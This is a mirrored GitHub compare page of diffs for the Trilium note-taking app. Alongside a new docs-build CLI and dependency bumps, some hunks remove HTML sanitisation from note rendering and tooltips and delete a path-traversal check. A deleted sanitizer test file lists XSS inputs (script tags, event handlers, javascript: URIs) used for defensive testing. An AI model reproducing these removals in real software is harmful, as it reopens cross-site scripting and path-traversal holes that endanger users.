mirror of
https://github.com/zadam/trilium.git
synced 2026-02-21 05:46:59 +01:00
Compare commits
17 Commits
feat/fun-t
...
renovate/c
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
6d9638970d | ||
|
|
299f694aa9 | ||
|
|
2675698d3a | ||
|
|
3056f3cfcf | ||
|
|
e19f344dc1 | ||
|
|
1525ecdb05 | ||
|
|
4f6a13b2c4 | ||
|
|
4747297adc | ||
|
|
f753974800 | ||
|
|
bd4002529c | ||
|
|
00588eb099 | ||
|
|
81420b6168 | ||
|
|
fe74d2aec9 | ||
|
|
6514701c6a | ||
|
|
9e206ce7ea | ||
|
|
b32ad68e4f | ||
|
|
07f273fda4 |
@@ -1,10 +1,15 @@
|
||||
{
|
||||
"name": "build-docs",
|
||||
"version": "1.0.0",
|
||||
"description": "",
|
||||
"description": "Build documentation from Trilium notes",
|
||||
"main": "src/main.ts",
|
||||
"bin": {
|
||||
"trilium-build-docs": "dist/cli.js"
|
||||
},
|
||||
"scripts": {
|
||||
"start": "tsx ."
|
||||
"start": "tsx .",
|
||||
"cli": "tsx src/cli.ts",
|
||||
"build": "tsx scripts/build.ts"
|
||||
},
|
||||
"keywords": [],
|
||||
"author": "Elian Doran <contact@eliandoran.me>",
|
||||
@@ -14,6 +19,7 @@
|
||||
"@redocly/cli": "2.19.1",
|
||||
"archiver": "7.0.1",
|
||||
"fs-extra": "11.3.3",
|
||||
"js-yaml": "4.1.1",
|
||||
"react": "19.2.4",
|
||||
"react-dom": "19.2.4",
|
||||
"typedoc": "0.28.17",
|
||||
|
||||
23
apps/build-docs/scripts/build.ts
Normal file
23
apps/build-docs/scripts/build.ts
Normal file
@@ -0,0 +1,23 @@
|
||||
import BuildHelper from "../../../scripts/build-utils";
|
||||
|
||||
const build = new BuildHelper("apps/build-docs");
|
||||
|
||||
async function main() {
|
||||
// Build the CLI and other TypeScript files
|
||||
await build.buildBackend([
|
||||
"src/cli.ts",
|
||||
"src/main.ts",
|
||||
"src/build-docs.ts",
|
||||
"src/swagger.ts",
|
||||
"src/script-api.ts",
|
||||
"src/context.ts"
|
||||
]);
|
||||
|
||||
// Copy HTML template
|
||||
build.copy("src/index.html", "index.html");
|
||||
|
||||
// Copy node modules dependencies if needed
|
||||
build.copyNodeModules([ "better-sqlite3", "bindings", "file-uri-to-path" ]);
|
||||
}
|
||||
|
||||
main();
|
||||
@@ -13,8 +13,12 @@
|
||||
* Make sure to keep in line with backend's `script_context.ts`.
|
||||
*/
|
||||
|
||||
export type { default as AbstractBeccaEntity } from "../../server/src/becca/entities/abstract_becca_entity.js";
|
||||
export type { default as BAttachment } from "../../server/src/becca/entities/battachment.js";
|
||||
export type {
|
||||
default as AbstractBeccaEntity
|
||||
} from "../../server/src/becca/entities/abstract_becca_entity.js";
|
||||
export type {
|
||||
default as BAttachment
|
||||
} from "../../server/src/becca/entities/battachment.js";
|
||||
export type { default as BAttribute } from "../../server/src/becca/entities/battribute.js";
|
||||
export type { default as BBranch } from "../../server/src/becca/entities/bbranch.js";
|
||||
export type { default as BEtapiToken } from "../../server/src/becca/entities/betapi_token.js";
|
||||
@@ -31,6 +35,7 @@ export type { Api };
|
||||
const fakeNote = new BNote();
|
||||
|
||||
/**
|
||||
* The `api` global variable allows access to the backend script API, which is documented in {@link Api}.
|
||||
* The `api` global variable allows access to the backend script API,
|
||||
* which is documented in {@link Api}.
|
||||
*/
|
||||
export const api: Api = new BackendScriptApi(fakeNote, {});
|
||||
|
||||
@@ -1,19 +1,90 @@
|
||||
process.env.TRILIUM_INTEGRATION_TEST = "memory-no-store";
|
||||
process.env.TRILIUM_RESOURCE_DIR = "../server/src";
|
||||
// Only set TRILIUM_RESOURCE_DIR if not already set (e.g., by Nix wrapper)
|
||||
if (!process.env.TRILIUM_RESOURCE_DIR) {
|
||||
process.env.TRILIUM_RESOURCE_DIR = "../server/src";
|
||||
}
|
||||
process.env.NODE_ENV = "development";
|
||||
|
||||
import cls from "@triliumnext/server/src/services/cls.js";
|
||||
import { dirname, join, resolve } from "path";
|
||||
import archiver from "archiver";
|
||||
import { execSync } from "child_process";
|
||||
import { WriteStream } from "fs";
|
||||
import * as fs from "fs/promises";
|
||||
import * as fsExtra from "fs-extra";
|
||||
import archiver from "archiver";
|
||||
import { WriteStream } from "fs";
|
||||
import { execSync } from "child_process";
|
||||
import yaml from "js-yaml";
|
||||
import { dirname, join, resolve } from "path";
|
||||
|
||||
import BuildContext from "./context.js";
|
||||
|
||||
interface NoteMapping {
|
||||
rootNoteId: string;
|
||||
path: string;
|
||||
format: "markdown" | "html" | "share";
|
||||
ignoredFiles?: string[];
|
||||
exportOnly?: boolean;
|
||||
}
|
||||
|
||||
interface Config {
|
||||
baseUrl: string;
|
||||
noteMappings: NoteMapping[];
|
||||
}
|
||||
|
||||
const DOCS_ROOT = "../../../docs";
|
||||
const OUTPUT_DIR = "../../site";
|
||||
|
||||
// Load configuration from edit-docs-config.yaml
|
||||
async function loadConfig(configPath?: string): Promise<Config | null> {
|
||||
const pathsToTry = configPath
|
||||
? [resolve(configPath)]
|
||||
: [
|
||||
join(process.cwd(), "edit-docs-config.yaml"),
|
||||
join(__dirname, "../../../edit-docs-config.yaml")
|
||||
];
|
||||
|
||||
for (const path of pathsToTry) {
|
||||
try {
|
||||
const configContent = await fs.readFile(path, "utf-8");
|
||||
const config = yaml.load(configContent) as Config;
|
||||
|
||||
// Resolve all paths relative to the config file's directory
|
||||
const CONFIG_DIR = dirname(path);
|
||||
config.noteMappings = config.noteMappings.map((mapping) => ({
|
||||
...mapping,
|
||||
path: resolve(CONFIG_DIR, mapping.path)
|
||||
}));
|
||||
|
||||
return config;
|
||||
} catch (error) {
|
||||
if (error.code !== "ENOENT") {
|
||||
throw error; // rethrow unexpected errors
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return null; // No config file found
|
||||
}
|
||||
|
||||
async function exportDocs(
|
||||
noteId: string,
|
||||
format: "markdown" | "html" | "share",
|
||||
outputPath: string,
|
||||
ignoredFiles?: string[]
|
||||
) {
|
||||
const zipFilePath = `output-${noteId}.zip`;
|
||||
try {
|
||||
const { exportToZipFile } = (await import("@triliumnext/server/src/services/export/zip.js"))
|
||||
.default;
|
||||
await exportToZipFile(noteId, format, zipFilePath, {});
|
||||
|
||||
const ignoredSet = ignoredFiles ? new Set(ignoredFiles) : undefined;
|
||||
await extractZip(zipFilePath, outputPath, ignoredSet);
|
||||
} finally {
|
||||
if (await fsExtra.exists(zipFilePath)) {
|
||||
await fsExtra.rm(zipFilePath);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async function importAndExportDocs(sourcePath: string, outputSubDir: string) {
|
||||
const note = await importData(sourcePath);
|
||||
|
||||
@@ -21,15 +92,18 @@ async function importAndExportDocs(sourcePath: string, outputSubDir: string) {
|
||||
const zipName = outputSubDir || "user-guide";
|
||||
const zipFilePath = `output-${zipName}.zip`;
|
||||
try {
|
||||
const { exportToZip } = (await import("@triliumnext/server/src/services/export/zip.js")).default;
|
||||
const { exportToZip } = (await import("@triliumnext/server/src/services/export/zip.js"))
|
||||
.default;
|
||||
const branch = note.getParentBranches()[0];
|
||||
const taskContext = new (await import("@triliumnext/server/src/services/task_context.js")).default(
|
||||
"no-progress-reporting",
|
||||
"export",
|
||||
null
|
||||
);
|
||||
const taskContext = new (await import("@triliumnext/server/src/services/task_context.js"))
|
||||
.default(
|
||||
"no-progress-reporting",
|
||||
"export",
|
||||
null
|
||||
);
|
||||
const fileOutputStream = fsExtra.createWriteStream(zipFilePath);
|
||||
await exportToZip(taskContext, branch, "share", fileOutputStream);
|
||||
const { waitForStreamToFinish } = await import("@triliumnext/server/src/services/utils.js");
|
||||
await waitForStreamToFinish(fileOutputStream);
|
||||
|
||||
// Output to root directory if outputSubDir is empty, otherwise to subdirectory
|
||||
@@ -42,7 +116,7 @@ async function importAndExportDocs(sourcePath: string, outputSubDir: string) {
|
||||
}
|
||||
}
|
||||
|
||||
async function buildDocsInner() {
|
||||
async function buildDocsInner(config?: Config) {
|
||||
const i18n = await import("@triliumnext/server/src/services/i18n.js");
|
||||
await i18n.initializeTranslations();
|
||||
|
||||
@@ -53,18 +127,49 @@ async function buildDocsInner() {
|
||||
const beccaLoader = await import("../../server/src/becca/becca_loader.js");
|
||||
await beccaLoader.beccaLoaded;
|
||||
|
||||
// Build User Guide
|
||||
console.log("Building User Guide...");
|
||||
await importAndExportDocs(join(__dirname, DOCS_ROOT, "User Guide"), "user-guide");
|
||||
if (config) {
|
||||
// Config-based build (reads from edit-docs-config.yaml)
|
||||
console.log("Building documentation from config file...");
|
||||
|
||||
// Build Developer Guide
|
||||
console.log("Building Developer Guide...");
|
||||
await importAndExportDocs(join(__dirname, DOCS_ROOT, "Developer Guide"), "developer-guide");
|
||||
// Import all non-export-only mappings
|
||||
for (const mapping of config.noteMappings) {
|
||||
if (!mapping.exportOnly) {
|
||||
console.log(`Importing from ${mapping.path}...`);
|
||||
await importData(mapping.path);
|
||||
}
|
||||
}
|
||||
|
||||
// Copy favicon.
|
||||
await fs.copyFile("../../apps/website/src/assets/favicon.ico", join(OUTPUT_DIR, "favicon.ico"));
|
||||
await fs.copyFile("../../apps/website/src/assets/favicon.ico", join(OUTPUT_DIR, "user-guide", "favicon.ico"));
|
||||
await fs.copyFile("../../apps/website/src/assets/favicon.ico", join(OUTPUT_DIR, "developer-guide", "favicon.ico"));
|
||||
// Export all mappings
|
||||
for (const mapping of config.noteMappings) {
|
||||
if (mapping.exportOnly) {
|
||||
console.log(`Exporting ${mapping.format} to ${mapping.path}...`);
|
||||
await exportDocs(
|
||||
mapping.rootNoteId,
|
||||
mapping.format,
|
||||
mapping.path,
|
||||
mapping.ignoredFiles
|
||||
);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Legacy hardcoded build (for backward compatibility)
|
||||
console.log("Building User Guide...");
|
||||
await importAndExportDocs(join(__dirname, DOCS_ROOT, "User Guide"), "user-guide");
|
||||
|
||||
console.log("Building Developer Guide...");
|
||||
await importAndExportDocs(
|
||||
join(__dirname, DOCS_ROOT, "Developer Guide"),
|
||||
"developer-guide"
|
||||
);
|
||||
|
||||
// Copy favicon.
|
||||
await fs.copyFile("../../apps/website/src/assets/favicon.ico",
|
||||
join(OUTPUT_DIR, "favicon.ico"));
|
||||
await fs.copyFile("../../apps/website/src/assets/favicon.ico",
|
||||
join(OUTPUT_DIR, "user-guide", "favicon.ico"));
|
||||
await fs.copyFile("../../apps/website/src/assets/favicon.ico",
|
||||
join(OUTPUT_DIR, "developer-guide", "favicon.ico"));
|
||||
}
|
||||
|
||||
console.log("Documentation built successfully!");
|
||||
}
|
||||
@@ -91,12 +196,13 @@ async function createImportZip(path: string) {
|
||||
zlib: { level: 0 }
|
||||
});
|
||||
|
||||
console.log("Archive path is ", resolve(path))
|
||||
console.log("Archive path is ", resolve(path));
|
||||
archive.directory(path, "/");
|
||||
|
||||
const outputStream = fsExtra.createWriteStream(inputFile);
|
||||
archive.pipe(outputStream);
|
||||
archive.finalize();
|
||||
const { waitForStreamToFinish } = await import("@triliumnext/server/src/services/utils.js");
|
||||
await waitForStreamToFinish(outputStream);
|
||||
|
||||
try {
|
||||
@@ -106,15 +212,15 @@ async function createImportZip(path: string) {
|
||||
}
|
||||
}
|
||||
|
||||
function waitForStreamToFinish(stream: WriteStream) {
|
||||
return new Promise<void>((res, rej) => {
|
||||
stream.on("finish", () => res());
|
||||
stream.on("error", (err) => rej(err));
|
||||
});
|
||||
}
|
||||
|
||||
export async function extractZip(zipFilePath: string, outputPath: string, ignoredFiles?: Set<string>) {
|
||||
const { readZipFile, readContent } = (await import("@triliumnext/server/src/services/import/zip.js"));
|
||||
export async function extractZip(
|
||||
zipFilePath: string,
|
||||
outputPath: string,
|
||||
ignoredFiles?: Set<string>
|
||||
) {
|
||||
const { readZipFile, readContent } = (await import(
|
||||
"@triliumnext/server/src/services/import/zip.js"
|
||||
));
|
||||
await readZipFile(await fs.readFile(zipFilePath), async (zip, entry) => {
|
||||
// We ignore directories since they can appear out of order anyway.
|
||||
if (!entry.fileName.endsWith("/") && !ignoredFiles?.has(entry.fileName)) {
|
||||
@@ -129,6 +235,27 @@ export async function extractZip(zipFilePath: string, outputPath: string, ignore
|
||||
});
|
||||
}
|
||||
|
||||
export async function buildDocsFromConfig(configPath?: string, gitRootDir?: string) {
|
||||
const config = await loadConfig(configPath);
|
||||
|
||||
if (gitRootDir) {
|
||||
// Build the share theme if we have a gitRootDir (for Trilium project)
|
||||
execSync(`pnpm run --filter share-theme build`, {
|
||||
stdio: "inherit",
|
||||
cwd: gitRootDir
|
||||
});
|
||||
}
|
||||
|
||||
// Trigger the actual build.
|
||||
await new Promise((res, rej) => {
|
||||
cls.init(() => {
|
||||
buildDocsInner(config ?? undefined)
|
||||
.catch(rej)
|
||||
.then(res);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
export default async function buildDocs({ gitRootDir }: BuildContext) {
|
||||
// Build the share theme.
|
||||
execSync(`pnpm run --filter share-theme build`, {
|
||||
|
||||
89
apps/build-docs/src/cli.ts
Normal file
89
apps/build-docs/src/cli.ts
Normal file
@@ -0,0 +1,89 @@
|
||||
#!/usr/bin/env node
|
||||
|
||||
import packageJson from "../package.json" with { type: "json" };
|
||||
import { buildDocsFromConfig } from "./build-docs.js";
|
||||
|
||||
// Parse command-line arguments
|
||||
function parseArgs() {
|
||||
const args = process.argv.slice(2);
|
||||
let configPath: string | undefined;
|
||||
let showHelp = false;
|
||||
let showVersion = false;
|
||||
|
||||
for (let i = 0; i < args.length; i++) {
|
||||
if (args[i] === "--config" || args[i] === "-c") {
|
||||
configPath = args[i + 1];
|
||||
if (!configPath) {
|
||||
console.error("Error: --config/-c requires a path argument");
|
||||
process.exit(1);
|
||||
}
|
||||
i++; // Skip the next argument as it's the value
|
||||
} else if (args[i] === "--help" || args[i] === "-h") {
|
||||
showHelp = true;
|
||||
} else if (args[i] === "--version" || args[i] === "-v") {
|
||||
showVersion = true;
|
||||
}
|
||||
}
|
||||
|
||||
return { configPath, showHelp, showVersion };
|
||||
}
|
||||
|
||||
function getVersion(): string {
|
||||
return packageJson.version;
|
||||
}
|
||||
|
||||
function printHelp() {
|
||||
const version = getVersion();
|
||||
console.log(`
|
||||
Usage: trilium-build-docs [options]
|
||||
|
||||
Options:
|
||||
-c, --config <path> Path to the configuration file
|
||||
(default: edit-docs-config.yaml in current directory)
|
||||
-h, --help Display this help message
|
||||
-v, --version Display version information
|
||||
|
||||
Description:
|
||||
Builds documentation from Trilium note structure and exports to various formats.
|
||||
Configuration file should be in YAML format with the following structure:
|
||||
|
||||
baseUrl: "https://example.com"
|
||||
noteMappings:
|
||||
- rootNoteId: "noteId123"
|
||||
path: "docs"
|
||||
format: "markdown"
|
||||
- rootNoteId: "noteId456"
|
||||
path: "public/docs"
|
||||
format: "share"
|
||||
exportOnly: true
|
||||
|
||||
Version: ${version}
|
||||
`);
|
||||
}
|
||||
|
||||
function printVersion() {
|
||||
const version = getVersion();
|
||||
console.log(version);
|
||||
}
|
||||
|
||||
async function main() {
|
||||
const { configPath, showHelp, showVersion } = parseArgs();
|
||||
|
||||
if (showHelp) {
|
||||
printHelp();
|
||||
process.exit(0);
|
||||
} else if (showVersion) {
|
||||
printVersion();
|
||||
process.exit(0);
|
||||
}
|
||||
|
||||
try {
|
||||
await buildDocsFromConfig(configPath);
|
||||
process.exit(0);
|
||||
} catch (error) {
|
||||
console.error("Error building documentation:", error);
|
||||
process.exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
main();
|
||||
@@ -13,16 +13,19 @@
|
||||
* Make sure to keep in line with frontend's `script_context.ts`.
|
||||
*/
|
||||
|
||||
export type { default as BasicWidget } from "../../client/src/widgets/basic_widget.js";
|
||||
export type { default as FAttachment } from "../../client/src/entities/fattachment.js";
|
||||
export type { default as FAttribute } from "../../client/src/entities/fattribute.js";
|
||||
export type { default as FBranch } from "../../client/src/entities/fbranch.js";
|
||||
export type { default as FNote } from "../../client/src/entities/fnote.js";
|
||||
export type { Api } from "../../client/src/services/frontend_script_api.js";
|
||||
export type { default as NoteContextAwareWidget } from "../../client/src/widgets/note_context_aware_widget.js";
|
||||
export type { default as BasicWidget } from "../../client/src/widgets/basic_widget.js";
|
||||
export type {
|
||||
default as NoteContextAwareWidget
|
||||
} from "../../client/src/widgets/note_context_aware_widget.js";
|
||||
export type { default as RightPanelWidget } from "../../client/src/widgets/right_panel_widget.js";
|
||||
|
||||
import FrontendScriptApi, { type Api } from "../../client/src/services/frontend_script_api.js";
|
||||
|
||||
//@ts-expect-error
|
||||
|
||||
// @ts-expect-error - FrontendScriptApi is not directly exportable as Api without this simulation.
|
||||
export const api: Api = new FrontendScriptApi();
|
||||
|
||||
@@ -1,9 +1,10 @@
|
||||
import { join } from "path";
|
||||
import BuildContext from "./context";
|
||||
import buildSwagger from "./swagger";
|
||||
import { cpSync, existsSync, mkdirSync, rmSync } from "fs";
|
||||
import { join } from "path";
|
||||
|
||||
import buildDocs from "./build-docs";
|
||||
import BuildContext from "./context";
|
||||
import buildScriptApi from "./script-api";
|
||||
import buildSwagger from "./swagger";
|
||||
|
||||
const context: BuildContext = {
|
||||
gitRootDir: join(__dirname, "../../../"),
|
||||
|
||||
@@ -1,7 +1,8 @@
|
||||
import { execSync } from "child_process";
|
||||
import BuildContext from "./context";
|
||||
import { join } from "path";
|
||||
|
||||
import BuildContext from "./context";
|
||||
|
||||
export default function buildScriptApi({ baseDir, gitRootDir }: BuildContext) {
|
||||
// Generate types
|
||||
execSync(`pnpm typecheck`, { stdio: "inherit", cwd: gitRootDir });
|
||||
|
||||
@@ -1,7 +1,8 @@
|
||||
import BuildContext from "./context";
|
||||
import { join } from "path";
|
||||
import { execSync } from "child_process";
|
||||
import { mkdirSync } from "fs";
|
||||
import { join } from "path";
|
||||
|
||||
import BuildContext from "./context";
|
||||
|
||||
interface BuildInfo {
|
||||
specPath: string;
|
||||
@@ -27,6 +28,9 @@ export default function buildSwagger({ baseDir, gitRootDir }: BuildContext) {
|
||||
const absSpecPath = join(gitRootDir, specPath);
|
||||
const targetDir = join(baseDir, outDir);
|
||||
mkdirSync(targetDir, { recursive: true });
|
||||
execSync(`pnpm redocly build-docs ${absSpecPath} -o ${targetDir}/index.html`, { stdio: "inherit" });
|
||||
execSync(
|
||||
`pnpm redocly build-docs ${absSpecPath} -o ${targetDir}/index.html`,
|
||||
{ stdio: "inherit" }
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
{
|
||||
"extends": "../../tsconfig.base.json",
|
||||
"include": [],
|
||||
"include": [
|
||||
"scripts/**/*.ts"
|
||||
],
|
||||
"references": [
|
||||
{
|
||||
"path": "../server"
|
||||
|
||||
@@ -4,6 +4,7 @@
|
||||
"entryPoints": [
|
||||
"src/backend_script_entrypoint.ts"
|
||||
],
|
||||
"tsconfig": "tsconfig.app.json",
|
||||
"plugin": [
|
||||
"typedoc-plugin-missing-exports"
|
||||
]
|
||||
|
||||
@@ -4,6 +4,7 @@
|
||||
"entryPoints": [
|
||||
"src/frontend_script_entrypoint.ts"
|
||||
],
|
||||
"tsconfig": "tsconfig.app.json",
|
||||
"plugin": [
|
||||
"typedoc-plugin-missing-exports"
|
||||
]
|
||||
|
||||
@@ -41,7 +41,6 @@
|
||||
"clsx": "2.1.1",
|
||||
"color": "5.0.3",
|
||||
"debounce": "3.0.0",
|
||||
"dompurify": "3.2.5",
|
||||
"draggabilly": "3.0.0",
|
||||
"force-graph": "1.51.1",
|
||||
"globals": "17.3.0",
|
||||
@@ -60,7 +59,7 @@
|
||||
"mind-elixir": "5.8.3",
|
||||
"normalize.css": "8.0.1",
|
||||
"panzoom": "9.4.3",
|
||||
"preact": "10.28.3",
|
||||
"preact": "10.28.4",
|
||||
"react-i18next": "16.5.4",
|
||||
"react-window": "2.2.7",
|
||||
"reveal.js": "5.2.1",
|
||||
|
||||
@@ -5,7 +5,6 @@ import froca from "./froca.js";
|
||||
import link from "./link.js";
|
||||
import { renderMathInElement } from "./math.js";
|
||||
import { getMermaidConfig } from "./mermaid.js";
|
||||
import { sanitizeNoteContentHtml } from "./sanitize_content.js";
|
||||
import { formatCodeBlocks } from "./syntax_highlight.js";
|
||||
import tree from "./tree.js";
|
||||
import { isHtmlEmpty } from "./utils.js";
|
||||
@@ -15,7 +14,7 @@ export default async function renderText(note: FNote | FAttachment, $renderedCon
|
||||
const blob = await note.getBlob();
|
||||
|
||||
if (blob && !isHtmlEmpty(blob.content)) {
|
||||
$renderedContent.append($('<div class="ck-content">').html(sanitizeNoteContentHtml(blob.content)));
|
||||
$renderedContent.append($('<div class="ck-content">').html(blob.content));
|
||||
|
||||
const seenNoteIds = options.seenNoteIds ?? new Set<string>();
|
||||
seenNoteIds.add("noteId" in note ? note.noteId : note.attachmentId);
|
||||
|
||||
@@ -9,15 +9,6 @@ export default function renderDoc(note: FNote) {
|
||||
const $content = $("<div>");
|
||||
|
||||
if (docName) {
|
||||
// Sanitize docName to prevent path traversal attacks (e.g.,
|
||||
// "../../../../api/notes/_malicious/open?x=" escaping doc_notes).
|
||||
docName = sanitizeDocName(docName);
|
||||
if (!docName) {
|
||||
console.warn("Blocked potentially malicious docName attribute value.");
|
||||
resolve($content);
|
||||
return;
|
||||
}
|
||||
|
||||
// find doc based on language
|
||||
const url = getUrl(docName, getCurrentLanguage());
|
||||
$content.load(url, async (response, status) => {
|
||||
@@ -57,31 +48,6 @@ async function processContent(url: string, $content: JQuery<HTMLElement>) {
|
||||
await applyReferenceLinks($content[0]);
|
||||
}
|
||||
|
||||
function sanitizeDocName(docNameValue: string): string | null {
|
||||
// Strip any path traversal sequences and dangerous URL characters.
|
||||
// Legitimate docName values are simple paths like "User Guide/Topic" or
|
||||
// "launchbar_intro" — they only contain alphanumeric chars, underscores,
|
||||
// hyphens, spaces, and forward slashes for subdirectories.
|
||||
// Reject values containing path traversal (../, ..\) or URL control
|
||||
// characters (?, #, :, @) that could be used to escape the doc_notes
|
||||
// directory or manipulate the resulting URL.
|
||||
if (/\.\.|[?#:@\\]/.test(docNameValue)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
// Remove any leading slashes to prevent absolute path construction.
|
||||
docNameValue = docNameValue.replace(/^\/+/, "");
|
||||
|
||||
// After stripping, ensure only safe characters remain:
|
||||
// alphanumeric, spaces, underscores, hyphens, forward slashes, and periods
|
||||
// (periods are allowed for filenames but .. was already rejected above).
|
||||
if (!/^[a-zA-Z0-9 _\-/.']+$/.test(docNameValue)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return docNameValue;
|
||||
}
|
||||
|
||||
function getUrl(docNameValue: string, language: string) {
|
||||
// Cannot have spaces in the URL due to how JQuery.load works.
|
||||
docNameValue = docNameValue.replaceAll(" ", "%20");
|
||||
|
||||
@@ -24,7 +24,8 @@ export async function initLocale() {
|
||||
backend: {
|
||||
loadPath: `${window.glob.assetPath}/translations/{{lng}}/{{ns}}.json`
|
||||
},
|
||||
returnEmptyString: false
|
||||
returnEmptyString: false,
|
||||
showSupportNotice: false
|
||||
});
|
||||
|
||||
await setDayjsLocale(locale);
|
||||
|
||||
@@ -7,7 +7,6 @@ import contentRenderer from "./content_renderer.js";
|
||||
import appContext from "../components/app_context.js";
|
||||
import type FNote from "../entities/fnote.js";
|
||||
import { t } from "./i18n.js";
|
||||
import { sanitizeNoteContentHtml } from "./sanitize_content.js";
|
||||
|
||||
// Track all elements that open tooltips
|
||||
let openTooltipElements: JQuery<HTMLElement>[] = [];
|
||||
@@ -91,8 +90,7 @@ async function mouseEnterHandler(this: HTMLElement) {
|
||||
return;
|
||||
}
|
||||
|
||||
const sanitizedContent = sanitizeNoteContentHtml(content);
|
||||
const html = `<div class="note-tooltip-content">${sanitizedContent}</div>`;
|
||||
const html = `<div class="note-tooltip-content">${content}</div>`;
|
||||
const tooltipClass = "tooltip-" + Math.floor(Math.random() * 999_999_999);
|
||||
|
||||
// we need to check if we're still hovering over the element
|
||||
@@ -110,8 +108,6 @@ async function mouseEnterHandler(this: HTMLElement) {
|
||||
title: html,
|
||||
html: true,
|
||||
template: `<div class="tooltip note-tooltip ${tooltipClass}" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>`,
|
||||
// Content is pre-sanitized via DOMPurify so Bootstrap's built-in sanitizer
|
||||
// (which is too aggressive for our rich-text content) can be disabled.
|
||||
sanitize: false,
|
||||
customClass: linkId
|
||||
});
|
||||
|
||||
@@ -1,236 +0,0 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { sanitizeNoteContentHtml } from "./sanitize_content";
|
||||
|
||||
describe("sanitizeNoteContentHtml", () => {
|
||||
// --- Preserves legitimate CKEditor content ---
|
||||
|
||||
it("preserves basic rich text formatting", () => {
|
||||
const html = '<p><strong>Bold</strong> and <em>italic</em> text</p>';
|
||||
expect(sanitizeNoteContentHtml(html)).toBe(html);
|
||||
});
|
||||
|
||||
it("preserves headings", () => {
|
||||
const html = '<h1>Title</h1><h2>Subtitle</h2><h3>Section</h3>';
|
||||
expect(sanitizeNoteContentHtml(html)).toBe(html);
|
||||
});
|
||||
|
||||
it("preserves links with href", () => {
|
||||
const html = '<a href="https://example.com">Link</a>';
|
||||
expect(sanitizeNoteContentHtml(html)).toBe(html);
|
||||
});
|
||||
|
||||
it("preserves internal note links with data attributes", () => {
|
||||
const html = '<a class="reference-link" href="#root/abc123" data-note-path="root/abc123">My Note</a>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).toContain('class="reference-link"');
|
||||
expect(result).toContain('href="#root/abc123"');
|
||||
expect(result).toContain('data-note-path="root/abc123"');
|
||||
expect(result).toContain(">My Note</a>");
|
||||
});
|
||||
|
||||
it("preserves images with src", () => {
|
||||
const html = '<img src="api/images/abc123/image.png" alt="test">';
|
||||
expect(sanitizeNoteContentHtml(html)).toContain('src="api/images/abc123/image.png"');
|
||||
});
|
||||
|
||||
it("preserves tables", () => {
|
||||
const html = '<table><thead><tr><th>Header</th></tr></thead><tbody><tr><td>Cell</td></tr></tbody></table>';
|
||||
expect(sanitizeNoteContentHtml(html)).toBe(html);
|
||||
});
|
||||
|
||||
it("preserves code blocks", () => {
|
||||
const html = '<pre><code class="language-javascript">const x = 1;</code></pre>';
|
||||
expect(sanitizeNoteContentHtml(html)).toBe(html);
|
||||
});
|
||||
|
||||
it("preserves include-note sections with data-note-id", () => {
|
||||
const html = '<section class="include-note" data-note-id="abc123"> </section>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).toContain('class="include-note"');
|
||||
expect(result).toContain('data-note-id="abc123"');
|
||||
expect(result).toContain(" </section>");
|
||||
});
|
||||
|
||||
it("preserves figure and figcaption", () => {
|
||||
const html = '<figure><img src="test.png"><figcaption>Caption</figcaption></figure>';
|
||||
expect(sanitizeNoteContentHtml(html)).toContain("<figure>");
|
||||
expect(sanitizeNoteContentHtml(html)).toContain("<figcaption>");
|
||||
});
|
||||
|
||||
it("preserves task list checkboxes", () => {
|
||||
const html = '<ul><li><input type="checkbox" checked disabled>Task done</li></ul>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).toContain('type="checkbox"');
|
||||
expect(result).toContain("checked");
|
||||
});
|
||||
|
||||
it("preserves inline styles for colors", () => {
|
||||
const html = '<span style="color: red;">Red text</span>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).toContain("style");
|
||||
expect(result).toContain("color");
|
||||
});
|
||||
|
||||
it("preserves data-* attributes", () => {
|
||||
const html = '<div data-custom-attr="value" data-note-id="abc">Content</div>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).toContain('data-custom-attr="value"');
|
||||
expect(result).toContain('data-note-id="abc"');
|
||||
});
|
||||
|
||||
// --- Blocks XSS vectors ---
|
||||
|
||||
it("strips script tags", () => {
|
||||
const html = '<p>Hello</p><script>alert("XSS")</script><p>World</p>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<script");
|
||||
expect(result).not.toContain("alert");
|
||||
expect(result).toContain("<p>Hello</p>");
|
||||
expect(result).toContain("<p>World</p>");
|
||||
});
|
||||
|
||||
it("strips onerror event handlers on images", () => {
|
||||
const html = '<img src="x" onerror="alert(1)">';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("onerror");
|
||||
expect(result).not.toContain("alert");
|
||||
});
|
||||
|
||||
it("strips onclick event handlers", () => {
|
||||
const html = '<div onclick="alert(1)">Click me</div>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("onclick");
|
||||
expect(result).not.toContain("alert");
|
||||
});
|
||||
|
||||
it("strips onload event handlers", () => {
|
||||
const html = '<img src="x" onload="alert(1)">';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("onload");
|
||||
expect(result).not.toContain("alert");
|
||||
});
|
||||
|
||||
it("strips onmouseover event handlers", () => {
|
||||
const html = '<span onmouseover="alert(1)">Hover</span>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("onmouseover");
|
||||
expect(result).not.toContain("alert");
|
||||
});
|
||||
|
||||
it("strips onfocus event handlers", () => {
|
||||
const html = '<input onfocus="alert(1)" autofocus>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("onfocus");
|
||||
expect(result).not.toContain("alert");
|
||||
});
|
||||
|
||||
it("strips javascript: URIs in href", () => {
|
||||
const html = '<a href="javascript:alert(1)">Click</a>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
